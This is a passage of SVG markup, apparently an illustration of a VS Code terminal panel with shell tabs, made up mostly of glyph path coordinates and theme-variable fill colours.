204.17 331.713 204.17C331.311 204.17 330.9 204.133 330.482 204.059C330.064 203.984 329.654 203.877 329.252 203.736V202.559C329.65 202.766 330.043 202.92 330.43 203.021C330.816 203.123 331.201 203.174 331.584 203.174C332.232 203.174 332.73 203.027 333.078 202.734C333.426 202.441 333.6 202.02 333.6 201.469C333.6 200.961 333.426 200.559 333.078 200.262C332.73 199.961 332.26 199.811 331.666 199.811H330.764V198.838H331.666C332.209 198.838 332.633 198.719 332.938 198.48C333.242 198.242 333.395 197.91 333.395 197.484C333.395 197.035 333.252 196.691 332.967 196.453C332.686 196.211 332.283 196.09 331.76 196.09C331.412 196.09 331.053 196.129 330.682 196.207C330.311 196.285 329.922 196.402 329.516 196.559V195.469C329.988 195.344 330.408 195.25 330.775 195.188C331.146 195.125 331.475 195.094 331.76 195.094C332.611 195.094 333.291 195.309 333.799 195.738C334.311 196.164 334.566 196.73 334.566 197.438C334.566 197.918 334.432 198.318 334.162 198.639C333.896 198.959 333.508 199.186 332.996 199.318ZM337.262 203.01H339.102V196.4L336.898 197.461V196.324L339.09 195.281H340.273V203.01H342.09V204H337.262V203.01ZM345.096 203.004H349.115V204H343.801V203.004C344.531 202.234 345.17 201.555 345.717 200.965C346.264 200.375 346.641 199.959 346.848 199.717C347.238 199.24 347.502 198.855 347.639 198.562C347.775 198.266 347.844 197.963 347.844 197.654C347.844 197.166 347.699 196.783 347.41 196.506C347.125 196.229 346.732 196.09 346.232 196.09C345.877 196.09 345.504 196.154 345.113 196.283C344.723 196.412 344.309 196.607 343.871 196.869V195.674C344.273 195.482 344.668 195.338 345.055 195.24C345.445 195.143 345.83 195.094 346.209 195.094C347.064 195.094 347.752 195.322 348.271 195.779C348.795 196.232 349.057 196.828 349.057 197.566C349.057 197.941 348.969 198.316 348.793 198.691C348.621 199.066 348.34 199.48 347.949 199.934C347.73 200.188 347.412 200.539 346.994 200.988C346.58 201.438 345.947 202.109 345.096 203.004ZM353.75 199.846C353.223 199.846 352.814 199.994 352.525 200.291C352.24 200.584 352.098 201 352.098 201.539C352.098 202.078 352.242 202.498 352.531 202.799C352.824 203.096 353.23 203.244 353.75 203.244C354.281 203.244 354.689 203.098 354.975 202.805C355.264 202.508 355.408 202.086 355.408 201.539C355.408 201.004 355.262 200.588 354.969 200.291C354.68 199.994 354.273 199.846 353.75 199.846ZM352.719 199.354C352.215 199.225 351.82 198.984 351.535 198.633C351.254 198.281 351.113 197.857 351.113 197.361C351.113 196.666 351.35 196.115 351.822 195.709C352.295 195.299 352.938 195.094 353.75 195.094C354.566 195.094 355.211 195.299 355.684 195.709C356.156 196.115 356.393 196.666 356.393 197.361C356.393 197.857 356.25 198.281 355.965 198.633C355.684 198.984 355.291 199.225 354.787 199.354C355.373 199.482 355.82 199.742 356.129 200.133C356.441 200.523 356.598 201.029 356.598 201.65C356.598 202.439 356.346 203.057 355.842 203.502C355.338 203.947 354.641 204.17 353.75 204.17C352.859 204.17 352.162 203.949 351.658 203.508C351.158 203.062 350.908 202.447 350.908 201.662C350.908 201.037 351.062 200.529 351.371 200.139C351.684 199.744 352.133 199.482 352.719 199.354ZM352.291 197.473C352.291 197.941 352.416 198.299 352.666 198.545C352.916 198.791 353.277 198.914 353.75 198.914C354.227 198.914 354.59 198.791 354.84 198.545C355.09 198.299 355.215 197.941 355.215 197.473C355.215 196.996 355.09 196.633 354.84 196.383C354.594 196.133 354.23 196.008 353.75 196.008C353.277 196.008 352.916 196.135 352.666 196.389C352.416 196.639 352.291 197 352.291 197.473ZM362.58 195.252H363.693L359.088 205.113H357.969L362.58 195.252ZM31.8828 243V230.766H39.3418V243H31.8828Z" fill="var(--vscode-foreground)"/>
<path d="M174.406 74.666C174.406 73.8574 174.273 73.2441 174.008 72.8262C173.746 72.4043 173.363 72.1934 172.859 72.1934C172.332 72.1934 171.93 72.4043 171.652 72.8262C171.375 73.2441 171.236 73.8574 171.236 74.666C171.236 75.4746 171.375 76.0918 171.652 76.5176C171.934 76.9395 172.34 77.1504 172.871 77.1504C173.367 77.1504 173.746 76.9375 174.008 76.5117C174.273 76.0859 174.406 75.4707 174.406 74.666ZM175.484 77.5781C175.484 78.5625 175.252 79.3086 174.787 79.8164C174.322 80.3242 173.639 80.5781 172.736 80.5781C172.439 80.5781 172.129 80.5508 171.805 80.4961C171.48 80.4414 171.156 80.3613 170.832 80.2559V79.1895C171.215 79.3691 171.562 79.502 171.875 79.5879C172.188 79.6738 172.475 79.7168 172.736 79.7168C173.318 79.7168 173.742 79.5586 174.008 79.2422C174.273 78.9258 174.406 78.4238 174.406 77.7363V77.6895V76.957C174.234 77.3242 174 77.5977 173.703 77.7773C173.406 77.957 173.045 78.0469 172.619 78.0469C171.854 78.0469 171.242 77.7402 170.785 77.127C170.328 76.5137 170.1 75.6934 170.1 74.666C170.1 73.6348 170.328 72.8125 170.785 72.1992C171.242 71.5859 171.854 71.2793 172.619 71.2793C173.041 71.2793 173.398 71.3633 173.691 71.5312C173.984 71.6992 174.223 71.959 174.406 72.3105V71.4609H175.484V77.5781ZM178.461 71.4609H181.221V77.1621H183.359V78H178.004V77.1621H180.143V72.2988H178.461V71.4609ZM180.143 68.9121H181.221V70.2715H180.143V68.9121ZM187.438 69.5742V71.4375H189.887V72.2754H187.438V75.8379C187.438 76.3223 187.529 76.6602 187.713 76.8516C187.896 77.043 188.217 77.1387 188.674 77.1387H189.887V78H188.568C187.76 78 187.189 77.8379 186.857 77.5137C186.525 77.1895 186.359 76.6309 186.359 75.8379V72.2754H184.607V71.4375H186.359V69.5742H187.438ZM193.584 71.4434H195.412V73.5586H193.584V71.4434ZM193.584 75.8672H195.412V78H193.584V75.8672ZM203.311 68.3086C202.791 69.1992 202.402 70.0879 202.145 70.9746C201.891 71.8574 201.764 72.748 201.764 73.6465C201.764 74.541 201.891 75.4316 202.145 76.3184C202.402 77.2051 202.791 78.0977 203.311 78.9961H202.373C201.783 78.0664 201.344 77.1621 201.055 76.2832C200.766 75.4004 200.621 74.5215 200.621 73.6465C200.621 72.7754 200.766 71.8984 201.055 71.0156C201.344 70.1328 201.783 69.2305 202.373 68.3086H203.311Z" fill="#3B8EEA"/>
<path d="M209.492 72.1055C209.625 71.8242 209.793 71.6172 209.996 71.4844C210.203 71.3477 210.451 71.2793 210.74 71.2793C211.268 71.2793 211.639 71.4844 211.854 71.8945C212.072 72.3008 212.182 73.0684 212.182 74.1973V78H211.197V74.2441C211.197 73.3184 211.145 72.7441 211.039 72.5215C210.938 72.2949 210.75 72.1816 210.477 72.1816C210.164 72.1816 209.949 72.3027 209.832 72.5449C209.719 72.7832 209.662 73.3496 209.662 74.2441V78H208.678V74.2441C208.678 73.3066 208.621 72.7285 208.508 72.5098C208.398 72.291 208.199 72.1816 207.91 72.1816C207.625 72.1816 207.426 72.3027 207.312 72.5449C207.203 72.7832 207.148 73.3496 207.148 74.2441V78H206.17V71.4375H207.148V72C207.277 71.7656 207.438 71.5879 207.629 71.4668C207.824 71.3418 208.045 71.2793 208.291 71.2793C208.588 71.2793 208.834 71.3477 209.029 71.4844C209.229 71.6211 209.383 71.8281 209.492 72.1055ZM216.875 74.7012H216.518C215.889 74.7012 215.414 74.8125 215.094 75.0352C214.777 75.2539 214.619 75.582 214.619 76.0195C214.619 76.4141 214.738 76.7207 214.977 76.9395C215.215 77.1582 215.545 77.2676 215.967 77.2676C216.561 77.2676 217.027 77.0625 217.367 76.6523C217.707 76.2383 217.879 75.668 217.883 74.9414V74.7012H216.875ZM218.967 74.2559V78H217.883V77.0273C217.652 77.418 217.361 77.707 217.01 77.8945C216.662 78.0781 216.238 78.1699 215.738 78.1699C215.07 78.1699 214.537 77.9824 214.139 77.6074C213.74 77.2285 213.541 76.7227 213.541 76.0898C213.541 75.3594 213.785 74.8047 214.273 74.4258C214.766 74.0469 215.486 73.8574 216.436 73.8574H217.883V73.6875C217.879 73.1641 217.746 72.7852 217.484 72.5508C217.223 72.3125 216.805 72.1934 216.23 72.1934C215.863 72.1934 215.492 72.2461 215.117 72.3516C214.742 72.457 214.377 72.6113 214.021 72.8145V71.7363C214.42 71.584 214.801 71.4707 215.164 71.3965C215.531 71.3184 215.887 71.2793 216.23 71.2793C216.773 71.2793 217.236 71.3594 217.619 71.5195C218.006 71.6797 218.318 71.9199 218.557 72.2402C218.705 72.4355 218.811 72.6777 218.873 72.9668C218.936 73.252 218.967 73.6816 218.967 74.2559ZM225.693 71.666V72.7207C225.385 72.541 225.074 72.4062 224.762 72.3164C224.449 72.2266 224.131 72.1816 223.807 72.1816C223.318 72.1816 222.953 72.2617 222.711 72.4219C222.473 72.5781 222.354 72.8184 222.354 73.1426C222.354 73.4355 222.443 73.6543 222.623 73.7988C222.803 73.9434 223.25 74.084 223.965 74.2207L224.398 74.3027C224.934 74.4043 225.338 74.6074 225.611 74.9121C225.889 75.2168 226.027 75.6133 226.027 76.1016C226.027 76.75 225.797 77.2578 225.336 77.625C224.875 77.9883 224.234 78.1699 223.414 78.1699C223.09 78.1699 222.75 78.1348 222.395 78.0645C222.039 77.998 221.654 77.8965 221.24 77.7598V76.6465C221.643 76.8535 222.027 77.0098 222.395 77.1152C222.762 77.2168 223.109 77.2676 223.438 77.2676C223.914 77.2676 224.283 77.1719 224.545 76.9805C224.807 76.7852 224.938 76.5137 224.938 76.166C224.938 75.666 224.459 75.3203 223.502 75.1289L223.455 75.1172L223.051 75.0352C222.43 74.9141 221.977 74.7109 221.691 74.4258C221.406 74.1367 221.264 73.7441 221.264 73.248C221.264 72.6191 221.477 72.1348 221.902 71.7949C222.328 71.4512 222.936 71.2793 223.725 71.2793C224.076 71.2793 224.414 71.3125 224.738 71.3789C225.062 71.4414 225.381 71.5371 225.693 71.666ZM230.82 69.5742V71.4375H233.27V72.2754H230.82V75.8379C230.82 76.3223 230.912 76.6602 231.096 76.8516C231.279 77.043 231.6 77.1387 232.057 77.1387H233.27V78H231.951C231.143 78 230.572 77.8379 230.24 77.5137C229.908 77.1895 229.742 76.6309 229.742 75.8379V72.2754H227.99V71.4375H229.742V69.5742H230.82ZM241.016 74.1797V74.707H236.346V74.7422C236.314 75.6367 236.484 76.2793 236.855 76.6699C237.23 77.0605 237.758 77.2559 238.438 77.2559C238.781 77.2559 239.141 77.2012 239.516 77.0918C239.891 76.9824 240.291 76.8164 240.717 76.5938V77.666C240.307 77.834 239.91 77.959 239.527 78.041C239.148 78.127 238.781 78.1699 238.426 78.1699C237.406 78.1699 236.609 77.8652 236.035 77.2559C235.461 76.6426 235.174 75.7988 235.174 74.7246C235.174 73.6777 235.455 72.8418 236.018 72.2168C236.58 71.5918 237.33 71.2793 238.268 71.2793C239.104 71.2793 239.762 71.5625 240.242 72.1289C240.727 72.6953 240.984 73.3789 241.016 74.1797ZM239.938 73.8633C239.891 73.4102 239.725 73.0195 239.439 72.6914C239.158 72.3594 238.752 72.1934 238.221 72.1934C237.701 72.1934 237.273 72.3652 236.938 72.709C236.602 73.0527 236.418 73.4395 236.387 73.8691L239.938 73.8633ZM248.451 72.791C248.221 72.6113 247.986 72.4805 247.748 72.3984C247.51 72.3164 247.248 72.2754 246.963 72.2754C246.291 72.2754 245.777 72.4863 245.422 72.9082C245.066 73.3301 244.889 73.9395 244.889 74.7363V78H243.805V71.4375H244.889V72.7207C245.068 72.2559 245.344 71.9004 245.715 71.6543C246.09 71.4043 246.533 71.2793 247.045 71.2793C247.311 71.2793 247.559 71.3125 247.789 71.3789C248.02 71.4453 248.24 71.5488 248.451 71.6895V72.791Z" fill="#EE4B4B"/>
<path d="M250.953 68.3086H251.891C252.48 69.2305 252.92 70.1328 253.209 71.0156C253.498 71.8984 253.643 72.7754 253.643 73.6465C253.643 74.5254 253.498 75.4062 253.209 76.2891C252.92 77.1719 252.48 78.0742 251.891 78.9961H250.953C251.473 78.0898 251.859 77.1934 252.113 76.3066C252.371 75.4199 252.5 74.5332 252.5 73.6465C252.5 72.7559 252.371 71.8672 252.113 70.9805C251.859 70.0938 251.473 69.2031 250.953 68.3086Z" fill="#398AE4"/>
<path d="M38.2871 113.689C37.9863 113.85 37.6777 113.969 37.3613 114.047C37.0449 114.129 36.709 114.17 36.3535 114.17C35.2324 114.17 34.3613 113.773 33.7402 112.98C33.123 112.188 32.8145 111.072 32.8145 109.635C32.8145 108.205 33.125 107.092 33.7461 106.295C34.3711 105.494 35.2402 105.094 36.3535 105.094C36.709 105.094 37.0449 105.135 37.3613 105.217C37.6777 105.295 37.9863 105.414 38.2871 105.574V106.787C37.998 106.549 37.6875 106.367 37.3555 106.242C37.0234 106.117 36.6895 106.055 36.3535 106.055C35.584 106.055 35.0078 106.352 34.625 106.945C34.2422 107.539 34.0508 108.436 34.0508 109.635C34.0508 110.83 34.2422 111.725 34.625 112.318C35.0078 112.912 35.584 113.209 36.3535 113.209C36.6973 113.209 37.0332 113.146 37.3613 113.021C37.6934 112.896 38.002 112.715 38.2871 112.477V113.689ZM42.8398 108.193C42.293 108.193 41.8789 108.406 41.5977 108.832C41.3164 109.258 41.1758 109.889 41.1758 110.725C41.1758 111.557 41.3164 112.188 41.5977 112.617C41.8789 113.043 42.293 113.256 42.8398 113.256C43.3906 113.256 43.8066 113.043 44.0879 112.617C44.3691 112.188 44.5098 111.557 44.5098 110.725C44.5098 109.889 44.3691 109.258 44.0879 108.832C43.8066 108.406 43.3906 108.193 42.8398 108.193ZM42.8398 107.279C43.75 107.279 44.4453 107.574 44.9258 108.164C45.4102 108.754 45.6523 109.607 45.6523 110.725C45.6523 111.846 45.4121 112.701 44.9316 113.291C44.4512 113.877 43.7539 114.17 42.8398 114.17C41.9297 114.17 41.2344 113.877 40.7539 113.291C40.2734 112.701 40.0332 111.846 40.0332 110.725C40.0332 109.607 40.2734 108.754 40.7539 108.164C41.2344 107.574 41.9297 107.279 42.8398 107.279ZM50.4219 108.105C50.5547 107.824 50.7227 107.617 50.9258 107.484C51.1328 107.348 51.3809 107.279 51.6699 107.279C52.1973 107.279 52.5684 107.484 52.7832 107.895C53.002 108.301 53.1113 109.068 53.1113 110.197V114H52.127V110.244C52.127 109.318 52.0742 108.744 51.9688 108.521C51.8672 108.295 51.6797 108.182 51.4062 108.182C51.0938 108.182 50.8789 108.303 50.7617 108.545C50.6484 108.783 50.5918 109.35 50.5918 110.244V114H49.6074V110.244C49.6074 109.307 49.5508 108.729 49.4375 108.51C49.3281 108.291 49.1289 108.182 48.8398 108.182C48.5547 108.182 48.3555 108.303 48.2422 108.545C48.1328 108.783 48.0781 109.35 48.0781 110.244V114H47.0996V107.438H48.0781V108C48.207 107.766 48.3672 107.588 48.5586 107.467C48.7539 107.342 48.9746 107.279 49.2207 107.279C49.5176 107.279 49.7637 107.348 49.959 107.484C50.1582 107.621 50.3125 107.828 50.4219 108.105ZM55.8887 113.174V116.496H54.8047V107.438H55.8887V108.275C56.0684 107.951 56.3066 107.705 56.6035 107.537C56.9043 107.365 57.25 107.279 57.6406 107.279C58.4336 107.279 59.0547 107.586 59.5039 108.199C59.957 108.812 60.1836 109.662 60.1836 110.748C60.1836 111.814 59.957 112.652 59.5039 113.262C59.0508 113.867 58.4297 114.17 57.6406 114.17C57.2422 114.17 56.8926 114.086 56.5918 113.918C56.2949 113.746 56.0605 113.498 55.8887 113.174ZM59.0527 110.725C59.0527 109.889 58.9199 109.258 58.6543 108.832C58.3926 108.406 58.002 108.193 57.4824 108.193C56.959 108.193 56.5625 108.408 56.293 108.838C56.0234 109.264 55.8887 109.893 55.8887 110.725C55.8887 111.553 56.0234 112.182 56.293 112.611C56.5625 113.041 56.959 113.256 57.4824 113.256C58.002 113.256 58.3926 113.043 58.6543 112.617C58.9199 112.191 59.0527 111.561 59.0527 110.725ZM62.7734 107.461H65.5332V113.162H67.6719V114H62.3164V113.162H64.4551V108.299H62.7734V107.461ZM64.4551 104.912H65.5332V106.271H64.4551V104.912ZM72.3652 111.627C72.3652 112.111 72.4531 112.477 72.6289 112.723C72.8086 112.969 73.0723 113.092 73.4199 113.092H74.6797V114H73.3145C72.6699 114 72.1699 113.795 71.8145 113.385C71.4629 112.971 71.2871 112.385 71.2871 111.627V105.691H69.5586V104.848H72.3652V111.627ZM81.9453 110.18V110.707H77.2754V110.742C77.2441 111.637 77.4141 112.279 77.7852 112.67C78.1602 113.061 78.6875 113.256 79.3672 113.256C79.7109 113.256 80.0703 113.201 80.4453 113.092C80.8203 112.982 81.2207 112.816 81.6465 112.594V113.666C81.2363 113.834 80.8398 113.959 80.457 114.041C80.0781 114.127 79.7109 114.17 79.3555 114.17C78.3359 114.17 77.5391 113.865 76.9648 113.256C76.3906 112.643 76.1035 111.799 76.1035 110.725C76.1035 109.678 76.3848 108.842 76.9473 108.217C77.5098 107.592 78.2598 107.279 79.1973 107.279C80.0332 107.279 80.6914 107.562 81.1719 108.129C81.6562 108.695 81.9141 109.379 81.9453 110.18ZM80.8672 109.863C80.8203 109.41 80.6543 109.02 80.3691 108.691C80.0879 108.359 79.6816 108.193 79.1504 108.193C78.6309 108.193 78.2031 108.365 77.8672 108.709C77.5312 109.053 77.3477 109.439 77.3164 109.869L80.8672 109.863ZM87.6406 108.275V104.883H88.7188V114H87.6406V113.174C87.4609 113.498 87.2207 113.746 86.9199 113.918C86.623 114.086 86.2793 114.17 85.8887 114.17C85.0957 114.17 84.4707 113.863 84.0137 113.25C83.5605 112.633 83.334 111.783 83.334 110.701C83.334 109.635 83.5625 108.799 84.0195 108.193C84.4766 107.584 85.0996 107.279 85.8887 107.279C86.2832 107.279 86.6309 107.365 86.9316 107.537C87.2324 107.705 87.4688 107.951 87.6406 108.275ZM84.4707 110.725C84.4707 111.561 84.6035 112.191 84.8691 112.617C85.1348 113.043 85.5273 113.256 86.0469 113.256C86.5664 113.256 86.9609 113.041 87.2305 112.611C87.5039 112.182 87.6406 111.553 87.6406 110.725C87.6406 109.893 87.5039 109.264 87.2305 108.838C86.9609 108.408 86.5664 108.193 86.0469 108.193C85.5273 108.193 85.1348 108.406 84.8691 108.832C84.6035 109.258 84.4707 109.889 84.4707 110.725ZM102.775 107.666V108.721C102.467 108.541 102.156 108.406 101.844 108.316C101.531 108.227 101.213 108.182 100.889 108.182C100.4 108.182 100.035 108.262 99.793 108.422C99.5547 108.578 99.4355 108.818 99.4355 109.143C99.4355 109.436 99.5254 109.654 99.7051 109.799C99.8848 109.943 100.332 110.084 101.047 110.221L101.48 110.303C102.016 110.404 102.42 110.607 102.693 110.912C102.971 111.217 103.109 111.613 103.109 112.102C103.109 112.75 102.879 113.258 102.418 113.625C101.957 113.988 101.316 114.17 100.496 114.17C100.172 114.17 99.832 114.135 99.4766 114.064C99.1211 113.998 98.7363 113.896 98.3223 113.76V112.646C98.7246 112.854 99.1094 113.01 99.4766 113.115C99.8438 113.217 100.191 113.268 100.52 113.268C100.996 113.268 101.365 113.172 101.627 112.98C101.889 112.785 102.02 112.514 102.02 112.166C102.02 111.666 101.541 111.32 100.584 111.129L100.537 111.117L100.133 111.035C99.5117 110.914 99.0586 110.711 98.7734 110.426C98.4883 110.137 98.3457 109.744 98.3457 109.248C98.3457 108.619 98.5586 108.135 98.9844 107.795C99.4102 107.451 100.018 107.279 100.807 107.279C101.158 107.279 101.496 107.312 101.82 107.379C102.145 107.441 102.463 107.537 102.775 107.666ZM105.447 111.516V107.449H106.525V111.516C106.525 112.105 106.629 112.539 106.836 112.816C107.047 113.094 107.371 113.232 107.809 113.232C108.316 113.232 108.705 113.055 108.975 112.699C109.244 112.34 109.379 111.826 109.379 111.158V107.449H110.463V114H109.379V113.016C109.188 113.395 108.926 113.682 108.594 113.877C108.266 114.072 107.881 114.17 107.439 114.17C106.768 114.17 106.268 113.951 105.939 113.514C105.611 113.072 105.447 112.406 105.447 111.516ZM117.752 113.666C117.463 113.834 117.164 113.959 116.855 114.041C116.551 114.127 116.238 114.17 115.918 114.17C114.902 114.17 114.107 113.865 113.533 113.256C112.963 112.646 112.678 111.803 112.678 110.725C112.678 109.646 112.963 108.803 113.533 108.193C114.107 107.584 114.902 107.279 115.918 107.279C116.234 107.279 116.543 107.32 116.844 107.402C117.145 107.484 117.447 107.611 117.752 107.783V108.914C117.467 108.66 117.18 108.477 116.891 108.363C116.605 108.25 116.281 108.193 115.918 108.193C115.242 108.193 114.723 108.412 114.359 108.85C113.996 109.287 113.814 109.912 113.814 110.725C113.814 111.533 113.996 112.158 114.359 112.6C114.727 113.037 115.246 113.256 115.918 113.256C116.293 113.256 116.629 113.199 116.926 113.086C117.223 112.969 117.498 112.789 117.752 112.547V113.666ZM124.982 113.666C124.693 113.834 124.395 113.959 124.086 114.041C123.781 114.127 123.469 114.17 123.148 114.17C122.133 114.17 121.338 113.865 120.764 113.256C120.193 112.646 119.908 111.803 119.908 110.725C119.908 109.646 120.193 108.803 120.764 108.193C121.338 107.584 122.133 107.279 123.148 107.279C123.465 107.279 123.773 107.32 124.074 107.402C124.375 107.484 124.678 107.611 124.982 107.783V108.914C124.697 108.66 124.41 108.477 124.121 108.363C123.836 108.25 123.512 108.193 123.148 108.193C122.473 108.193 121.953 108.412 121.59 108.85C121.227 109.287 121.045 109.912 121.045 110.725C121.045 111.533 121.227 112.158 121.59 112.6C121.957 113.037 122.477 113.256 123.148 113.256C123.523 113.256 123.859 113.199 124.156 113.086C124.453 112.969 124.729 112.789 124.982 112.547V113.666ZM132.559 110.18V110.707H127.889V110.742C127.857 111.637 128.027 112.279 128.398 112.67C128.773 113.061 129.301 113.256 129.98 113.256C130.324 113.256 130.684 113.201 131.059 113.092C131.434 112.982 131.834 112.816 132.26 112.594V113.666C131.85 113.834 131.453 113.959 131.07 114.041C130.691 114.127 130.324 114.17 129.969 114.17C128.949 114.17 128.152 113.865 127.578 113.256C127.004 112.643 126.717 111.799 126.717 110.725C126.717 109.678 126.998 108.842 127.561 108.217C128.123 107.592 128.873 107.279 129.811 107.279C130.646 107.279 131.305 107.562 131.785 108.129C132.27 108.695 132.527 109.379 132.559 110.18ZM131.48 109.863C131.434 109.41 131.268 109.02 130.982 108.691C130.701 108.359 130.295 108.193 129.764 108.193C129.244 108.193 128.816 108.365 128.48 108.709C128.145 109.053 127.961 109.439 127.93 109.869L131.48 109.863ZM138.928 107.666V108.721C138.619 108.541 138.309 108.406 137.996 108.316C137.684 108.227 137.365 108.182 137.041 108.182C136.553 108.182 136.188 108.262 135.945 108.422C135.707 108.578 135.588 108.818 135.588 109.143C135.588 109.436 135.678 109.654 135.857 109.799C136.037 109.943 136.484 110.084 137.199 110.221L137.633 110.303C138.168 110.404 138.572 110.607 138.846 110.912C139.123 111.217 139.262 111.613 139.262 112.102C139.262 112.75 139.031 113.258 138.57 113.625C138.109 113.988 137.469 114.17 136.648 114.17C136.324 114.17 135.984 114.135 135.629 114.064C135.273 113.998 134.889 113.896 134.475 113.76V112.646C134.877 112.854 135.262 113.01 135.629 113.115C135.996 113.217 136.344 113.268 136.672 113.268C137.148 113.268 137.518 113.172 137.779 112.98C138.041 112.785 138.172 112.514 138.172 112.166C138.172 111.666 137.693 111.32 136.736 111.129L136.689 111.117L136.285 111.035C135.664 110.914 135.211 110.711 134.926 110.426C134.641 110.137 134.498 109.744 134.498 109.248C134.498 108.619 134.711 108.135 135.137 107.795C135.562 107.451 136.17 107.279 136.959 107.279C137.311 107.279 137.648 107.312 137.973 107.379C138.297 107.441 138.615 107.537 138.928 107.666ZM146.158 107.666V108.721C145.85 108.541 145.539 108.406 145.227 108.316C144.914 108.227 144.596 108.182 144.271 108.182C143.783 108.182 143.418 108.262 143.176 108.422C142.938 108.578 142.818 108.818 142.818 109.143C142.818 109.436 142.908 109.654 143.088 109.799C143.268 109.943 143.715 110.084 144.43 110.221L144.863 110.303C145.398 110.404 145.803 110.607 146.076 110.912C146.354 111.217 146.492 111.613 146.492 112.102C146.492 112.75 146.262 113.258 145.801 113.625C145.34 113.988 144.699 114.17 143.879 114.17C143.555 114.17 143.215 114.135 142.859 114.064C142.504 113.998 142.119 113.896 141.705 113.76V112.646C142.107 112.854 142.492 113.01 142.859 113.115C143.227 113.217 143.574 113.268 143.902 113.268C144.379 113.268 144.748 113.172 145.01 112.98C145.271 112.785 145.402 112.514 145.402 112.166C145.402 111.666 144.924 111.32 143.967 111.129L143.92 111.117L143.516 111.035C142.895 110.914 142.441 110.711 142.156 110.426C141.871 110.137 141.729 109.744 141.729 109.248C141.729 108.619 141.941 108.135 142.367 107.795C142.793 107.451 143.4 107.279 144.189 107.279C144.541 107.279 144.879 107.312 145.203 107.379C145.527 107.441 145.846 107.537 146.158 107.666ZM153.916 104.883V105.779H152.691C152.305 105.779 152.035 105.859 151.883 106.02C151.734 106.176 151.66 106.455 151.66 106.857V107.438H153.916V108.275H151.66V114H150.582V108.275H148.83V107.438H150.582V106.98C150.582 106.262 150.746 105.732 151.074 105.393C151.406 105.053 151.922 104.883 152.621 104.883H153.916ZM156.061 111.516V107.449H157.139V111.516C157.139 112.105 157.242 112.539 157.449 112.816C157.66 113.094 157.984 113.232 158.422 113.232C158.93 113.232 159.318 113.055 159.588 112.699C159.857 112.34 159.992 111.826 159.992 111.158V107.449H161.076V114H159.992V113.016C159.801 113.395 159.539 113.682 159.207 113.877C158.879 114.072 158.494 114.17 158.053 114.17C157.381 114.17 156.881 113.951 156.553 113.514C156.225 113.072 156.061 112.406 156.061 111.516ZM166.361 111.627C166.361 112.111 166.449 112.477 166.625 112.723C166.805 112.969 167.068 113.092 167.416 113.092H168.676V114H167.311C166.666 114 166.166 113.795 165.811 113.385C165.459 112.971 165.283 112.385 165.283 111.627V105.691H163.555V104.848H166.361V111.627ZM173.592 111.627C173.592 112.111 173.68 112.477 173.855 112.723C174.035 112.969 174.299 113.092 174.646 113.092H175.906V114H174.541C173.896 114 173.396 113.795 173.041 113.385C172.689 112.971 172.514 112.385 172.514 111.627V105.691H170.785V104.848H173.592V111.627ZM181.637 111.891C181.457 112.348 181.229 112.949 180.951 113.695C180.564 114.727 180.305 115.355 180.172 115.582C179.992 115.887 179.768 116.115 179.498 116.268C179.229 116.42 178.914 116.496 178.555 116.496H177.688V115.594H178.326C178.643 115.594 178.891 115.502 179.07 115.318C179.25 115.135 179.479 114.66 179.756 113.895L177.219 107.438H178.361L180.307 112.57L182.223 107.438H183.365L181.637 111.891ZM187.039 105.252H188.229V109.09L188.105 110.889H187.162L187.039 109.09V105.252ZM186.863 112.512H188.404V114H186.863V112.512Z" fill="#0DBC79"/>
<rect width="1" height="216" transform="translate(428 49)" fill="var(--vscode-terminal-border)"/>
<rect width="103" height="22" transform="translate(429 49)" fill="var(--vscode-list-hoverBackground)"/>
<path d="M446 52.992L445.008 54V66L446 66.992H458L459.008 66V54L458 52.992H446ZM446 66V54H458V66H446ZM449.776 63.328L450.464 64.032L453.968 60.544V59.936L450.464 56.416L449.776 57.136L452.832 60.272L449.776 63.328Z" fill="var(--vscode-foreground)"/>
<path d="M466.832 65H472.303V63.9019H468.545V63.7939L472.265 59.0522V58.1064H466.857V59.2046H470.634V59.3062L466.832 64.105V65ZM473.966 60.0361C473.966 61.0581 474.576 61.6421 475.89 61.9468L477.096 62.2324C477.788 62.3975 478.111 62.6768 478.111 63.1084C478.111 63.6733 477.508 64.0669 476.658 64.0669C475.833 64.0669 475.325 63.7305 475.153 63.1909H473.789C473.909 64.3906 474.982 65.1333 476.626 65.1333C478.276 65.1333 479.489 64.2637 479.489 62.9814C479.489 61.9785 478.873 61.4136 477.559 61.1089L476.41 60.8423C475.661 60.6646 475.312 60.3979 475.312 59.9727C475.312 59.4141 475.89 59.0396 476.651 59.0396C477.426 59.0396 477.921 59.376 478.048 59.8901H479.355C479.222 58.6968 478.207 57.9731 476.651 57.9731C475.09 57.9731 473.966 58.8364 473.966 60.0361ZM481.196 65H482.561V60.9629C482.561 59.8838 483.183 59.1665 484.3 59.1665C485.265 59.1665 485.779 59.7314 485.779 60.8677V65H487.144V60.5439C487.144 58.9126 486.236 57.9795 484.764 57.9795C483.723 57.9795 482.993 58.4365 482.656 59.2046H482.548V55.4023H481.196V65Z" fill="var(--vscode-foreground)"/>
<path d="M446 74.992L445.008 76V88L446 88.992H458L459.008 88V76L458 74.992H446ZM446 88V76H458V88H446ZM449.776 85.328L450.464 86.032L453.968 82.544V81.936L450.464 78.416L449.776 79.136L452.832 82.272L449.776 85.328Z" fill="var(--vscode-foreground)"/>
<path d="M470.653 87.1143C472.398 87.1143 473.509 85.7241 473.509 83.5532C473.509 81.3633 472.405 79.9858 470.653 79.9858C469.707 79.9858 468.895 80.4492 468.526 81.1982H468.418V77.4023H467.054V87H468.368V85.9082H468.469C468.882 86.6699 469.688 87.1143 470.653 87.1143ZM470.259 81.1538C471.415 81.1538 472.106 82.0615 472.106 83.5532C472.106 85.0449 471.415 85.9463 470.259 85.9463C469.11 85.9463 468.399 85.0322 468.393 83.5532C468.399 82.0742 469.117 81.1538 470.259 81.1538ZM477.064 87.1143C477.972 87.1143 478.727 86.7207 479.14 86.0225H479.248V87H480.562V82.2837C480.562 80.8364 479.584 79.9731 477.851 79.9731C476.283 79.9731 475.166 80.7285 475.026 81.8901H476.347C476.499 81.3887 477.026 81.103 477.788 81.103C478.721 81.103 479.203 81.5283 479.203 82.2837V82.8867L477.331 83.001C475.687 83.1025 474.76 83.8198 474.76 85.0576C474.76 86.3145 475.731 87.1143 477.064 87.1143ZM477.413 86.0161C476.67 86.0161 476.131 85.6416 476.131 85.0005C476.131 84.3721 476.562 84.0356 477.515 83.9722L479.203 83.8579V84.4546C479.203 85.3433 478.441 86.0161 477.413 86.0161ZM482.345 82.0361C482.345 83.0581 482.955 83.6421 484.269 83.9468L485.475 84.2324C486.167 84.3975 486.49 84.6768 486.49 85.1084C486.49 85.6733 485.887 86.0669 485.037 86.0669C484.211 86.0669 483.704 85.7305 